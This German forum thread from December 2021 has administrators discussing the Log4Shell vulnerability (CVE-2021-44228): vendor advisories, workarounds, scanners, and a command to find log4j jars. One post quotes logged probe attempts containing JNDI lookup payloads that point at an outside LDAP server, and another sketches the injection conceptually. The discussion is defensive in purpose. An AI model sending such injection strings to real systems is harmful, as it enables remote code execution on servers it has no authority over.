[Java] RCE 0-day exploit found in log4j lib

[foo_1337]

Mit "Apache" ist hier nicht der Webserver (httpd) gemeint, sondern die Apache Foundation, von der das Log4j ist. Rein Java bedeutet auch nicht direkt, dass du log4j hast, sondern wenn die jeweilige Appliation, z.B. Elasticsearch, das nutzt. find / -iname "*log4j*jar" um sicher zu gehen

 

[Mac_Leod]

besser kann man es nicht erklären

 

[transdenzentral]

Die JDK Mitigations scheinen laut Volkan (Log4J PMC) nicht auszureichen, schrieb er auf Twitter: https://twitter.com/yazicivo/status/1469393075768373255

Inzwischen finde ich aber auch die Mitigations durch das Entfernen der vulnerablen Class Datei direkt aus den Jars ansprechend.

Auf Reddit liest man schon, dass VMWare VCSA auch betroffen ist... :/

Aber jetzt endlich Feierabend... - wir schauen fertig.

 

[foo_1337]

Jop, dachte mir schon, dass das nicht alle Angriffsektoren abdeckt Von vmware gibt es zwischenzeitlich auch was: https://kb.vmware.com/s/article/87068 (hilft aber erstmal nicht). Die VCSA ist aber zum glück in der Regel nicht von extern erreichbar

Ergänzung (10. Dezember 2021)

Aber jetzt endlich Feierabend... - wir schauen fertig.

Ich denke mal so ging es vielen heute. Was eine sch.... unzählige male die jvm options angepasst

 

[Rickmer]

Ich bin froh, dass die Sophos Firewalls anscheinend nicht betroffen sind
https://www.sophos.com/en-us/security-advisories/sophos-sa-20211210-log4j-rce

Von vmware gibt es zwischenzeitlich auch was: https://kb.vmware.com/s/article/87068 (hilft aber erstmal nicht).

Good to know - vCenter patching incoming. Ich kenne allerdings auch keine Firma, die das vCenter öffentlich erreichbar macht.
Da der ESXi Host als solches nicht gelistet ist - darf man hoffen, dass der nicht betroffen ist?

 

[Bl!nDf!sH]

Das ganze "Atlassian-Gerümpel" scheint per Default Dank der vollkommen veralteten Version nicht betroffen zu sein. Atlassian FAQ for CVE-2021-44228
Aber checken!

You can check if you are vulnerable by inspecting the Log4j configuration file. If you find a line containing the org.apache.log4j.net.JMSAppender, you may be vulnerable. If you do not find a line containing the org.apache.log4j.net.JMSAppender, you do not have this specific vulnerable configuration.

Auf "meinen" Systemen wird schon immer wieder angeklopft:

Detected anonymous access to page https://[jirabaseurl]/$%7Bjndi:ldap:/http80path.[irgendne Domain]-cve-2021-44228.com/http80path%7D redirecting to login page

Detected anonymous access to page https://[jirabaseurl]/$%7Bjndi:ldap:/[xxx.xxx.xxx.xxx]:1389/Exploit%7D redirecting to login page

Alles was mit einem User-Agent mit "jndi" im Namen reinkommt wird vom Reverse-Proxy eh auf ne 403 geschickt

 

[transdenzentral]

Naja bei Bitbucket liegt 2.14.1 im Classpath rum - jedenfalls in unserer Version.

Schöne Übersicht der Security Bulletins gibt's übrigens hier: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

 

[foo_1337]

Zielmlich cooles Projekt: https://github.com/Cybereason/Logout4Shell

Ergänzung (12. Dezember 2021)

Good to know - vCenter patching incoming. Ich kenne allerdings auch keine Firma, die das vCenter öffentlich erreichbar macht.

https://kb.vmware.com/s/article/87081?lang=en_US Patch ist noch keiner da, aber ein Workaround

Da der ESXi Host als solches nicht gelistet ist - darf man hoffen, dass der nicht betroffen ist?

Jop

Falls ihr NSX-T Nutzt: Hier gibts auch einen Workaround

 

[Skysnake]

Ich bin gerade am überlegen wie ich herausfinden kann, welche Applikationen log4j benutzen oder nicht. Scheint ja doch was kritsiches zu sein.

Sollte man die binaries nach entsprechenden Symbolen durchsuchen, oder wie wäre das richtige Vorgehen?

 

[Falc410]

Ein Kollege hat auf die schnelle ein Bash-Script entwickelt welches entsprechende java files sucht. Ich kann den Code morgen hier mal einstellen.

 

[Th3Dan]

Atlassian behauptet, nicht betroffen zu sein. Aber darauf würde ich mich bei dem Saftladen ehrlich gesagt nicht verlassen. Letztens hatten die eine schwerwiegende Lücke in Confluence, wo sie behauptet haben, wer anonymen Zugriff (also nur mit Login) aktiviert hat, sei gegen nicht autorisierte Angreifer geschützt. Bis später einige Kunden die das geglaubt haben kompromittiert wurden und sich zeigte: Das war ein Schnellschuss von Atlassian, die Lücke ist trivial auch anonym aufrufbar.

Der Lerneffekt ist scheinbar, die Aussagen bewusst vage zu halten:

So far, we do not believe our on-premises products are vulnerable [...]

 

[Falc410]

Also mein Kollege hat seinen Scanner über den Haufen geworfen und verweist auf diesen hier: https://github.com/hillu/local-log4j-vuln-scanner

 

[Mac_Leod]

@Th3Dan
ach komm schon das war doch lustig, die richtig guten Twitter Kommentare seitens Atlassian hinterher wurden auch direkt wieder gelöscht

Es gab die Nacht mal kurzzeitig ein vCenter Patch der wieder verschwunden ist.
Netapp und Cisco hab auch noch keine patches. (stand gestern Abend)

 

[Ranayna]

Ich bin nicht so 100%tig firm darin, wie log4j funktioniert...

Habe ich das richtig verstanden, dass das Problem darin liegt, das log4j Probleme beim Parsen von Meldungen hat, kombiniert damit, das Userinput mitgeloggt wird?

Mit anderen Worten, versucht sich zB jemand an einem verwundbaren System als der klassiche "Bobby Tables" anzumelden, weil Loginversuche geloggt werden, knallt es? (Mir ist klar das da keine SQL Injection passiert, aber das Problem klingt aehnlich)

Zeigt auf alle Faelle mal wieder, das man Userinput niemals trauen darf...

Nach aktuellem Stand sind zum Glueck keine der Systeme betroffen die in meiner Zustaendigkeit liegen, auch wenn es noch von einigen Herstellern keine Aussage gibt.

 

[Mac_Leod]

Unterm Strich ist es eine Variablenersetzung

Du kannst per Web Request einfach ${} an eine URL schicken. Passt der Unterbau dann kannst einfach mal noch eine URL in der Variablen mitschicken zb.: ein ganz normales „wget „tooleshackertool.ru“

Oder, wo wie es Freitag und Samstag beim Ingame Chat von Minecraft abgegangen ist.
--> Chat auf --> Hallo Welt ${böser Code wie zB: fahr dich runter} --> weg war die Minecraft Instanz

Das heißt im Umkehrschluss, die Kisten müssten nicht mal direkt im Netz stehen, sobald ein Chat mit der Lib4j drunter liegt und du Nachrichten darin schreiben kannst, reicht.

 

[Hannibal Smith]

@Mac_Leod leider trifft das Meme die Situation einfach wie der Hammer den Nagel auf den Kopf.

 

[Ranayna]

Ich habe mich jetzt mal etwas mehr eingelesen.
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ scheint das ganz gut zu erklaeren.

Damit bin ich fuer meinen Arbeitgeber schon deutlich entspannter
Denn bei uns ist extrem stark reglementiert was ueberhaupt mit dem Internet reden darf.
Saemtliche mir bekannten potenziell betroffenen Systeme sind abgeschottet, sollten also zumindest theoretisch auch von innen heraus nicht verwundbar sein.

Gefixt werden muss das natuerlich trotzdem, und unsere VMWare Zustaendigen sind aktuell etwas "unentspannt"...

 

[Affenzahn]

Verständlich.
Montags kurz vor Mittag "Patch pending" für einen Freitag entdeckten 0-day.
https://www.vmware.com/security/advisories/VMSA-2021-0028.html

 

[foo_1337]

Gibt aber nen Workaround Ist mir ehrlich gesagt auch aktuell lieber gewesen als zig vcsa und nsx-t manager zu patchen

 

[Falc410]

Denn bei uns ist extrem stark reglementiert was ueberhaupt mit dem Internet reden darf.

Naja, damit unterbindest du aber nur das Nachladen einer Payload oder den Verbindungsaufbau einer Shell zu einem externen Server. Deswegen können trotzdem noch beliebige Befehle ausgeführt werden auf der Maschine wenn die entsprechenden Input bekommt (egal ob vom Internet, intern oder weil sie eine andere Datenquelle einliest und das loggt).